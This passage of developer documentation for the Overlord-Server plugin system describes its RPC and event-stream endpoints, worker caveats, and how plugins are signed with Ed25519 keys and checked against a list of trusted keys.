- `POST /api/plugins/<id>/rpc` → `{ method: string, params?: any }` returns `{ ok, result }` or `{ ok:false, error }`. Requires `clients:control`. The method must exist on the plugin's `rpc` map. RPCs time out after 30 s.
- `GET /api/plugins/<id>/stream` → `text/event-stream`. Requires `clients:control`. Each `ctx.broadcast(channel, data)` becomes an SSE event named `channel` whose `data` field is `JSON.stringify(data)`.
- `GET /api/plugins` now includes two extra fields per plugin:
- `hasServer: boolean` — the bundle ships a `server.js`.
- `serverRunning: boolean` — the worker is live right now.
### Caveats
- **One worker per plugin.** RPC calls into the same plugin serialise. Long-running RPCs block other RPCs to that plugin (not other plugins). Do heavy work in `onEvent` and let RPCs read pre-computed state.
- **`bun:sqlite` is single-writer per database file.** Since each plugin gets its own DB this is fine; just don't open the same `plugin.db` from another process.
- **The worker is not a security sandbox.** It has the same filesystem and network access as the main server. Treat `server.js` with the same trust as your other server code, and lean on plugin signing if you load third-party bundles.
- **Compiled binaries.** Workers spawned from the bundled `--compile` build need the worker host module embedded; if you ship that build, run `bun build` with the worker host included as an entry point or stick with `bun run` for now.
- **No automatic restart on worker crash.** A crashed worker is logged and `pluginState.lastError` is set, but it will not loop-restart on its own. Disable + re-enable the plugin to bring it back up.
---
## Plugin Signing
Plugins can be cryptographically signed with Ed25519 keys. The server verifies signatures on upload and displays trust status in the dashboard. Loading unsigned or untrusted plugins requires explicit confirmation.
### Trust Levels
| Status | Badge | Behavior |
|--------|-------|----------|
| **Signed + Trusted** | Green shield | Loads immediately |
| **Signed + Untrusted** | Yellow shield | Must type "confirm" to load |
| **Unsigned** | Orange shield | Must type "confirm" to load |
| **Invalid Signature** | Red shield | Blocked — cannot load |
### Generate a Signing Key
```bash
cd Overlord-Server
bun run scripts/plugin-keygen.ts --out my-signing-key
```
This creates:
- `my-signing-key.key` — private key (keep secret!)
- `my-signing-key.pub` — public key + fingerprint
The fingerprint (64-char hex SHA-256) is printed to the console. Add it to your server config to trust plugins signed with this key.
### Sign a Plugin
```bash
cd Overlord-Server
bun run scripts/plugin-sign.ts --key my-signing-key.key ../plugins/sample-go/sample.zip
```
This injects a `signature.json` into the ZIP containing the Ed25519 public key and signature.
### Add a Trusted Key
**Via config.json:**
```json
{
"plugins": {
"trustedKeys": [
"a1b2c3d4e5f6...64-char-hex-fingerprint..."
]
}
}
```
**Via environment variable:**
```
TRUSTED_PLUGIN_KEYS=fingerprint1,fingerprint2
```
**Via the web UI:** Go to the Plugins page → Trusted Signing Keys section → paste the fingerprint and click Add Key.
**Via API:**
```bash
# Add a trusted key
curl -X POST /api/plugins/trusted-keys \
-H "Content-Type: application/json" \
-d '{"fingerprint": "a1b2c3..."}'
# List trusted keys
curl /api/plugins/trusted-keys
# Remove a trusted key
curl -X DELETE /api/plugins/trusted-keys/a1b2c3...
```
### Build Script Integration
Set the `PLUGIN_SIGN_KEY` environment variable to automatically sign plugins during build:
```bash
# Unix
PLUGIN_SIGN_KEY=path/to/my-signing-key.key ./build-plugin.sh
# Windows
set PLUGIN_SIGN_KEY=path\to\my-signing-key.key
build-plugin.bat
```
### How Signing Works
1. The canonical content digest is computed by hashing every file in the ZIP (excluding `signature.json`), sorting filenames alphabetically, and concatenating `filename:sha256hex\n` for each
2. The digest is signed with Ed25519 using the private key
3. The signature, public key, and algorithm are stored as `signature.json` inside the ZIP
4. On upload, the server extracts `signature.json`, recomputes the digest, and verifies the signature using `crypto.subtle.verify("Ed25519", ...)`
5. The signer's fingerprint (`hex(SHA-256(raw_public_key))`) is compared against `plugins.trustedKeys` in the config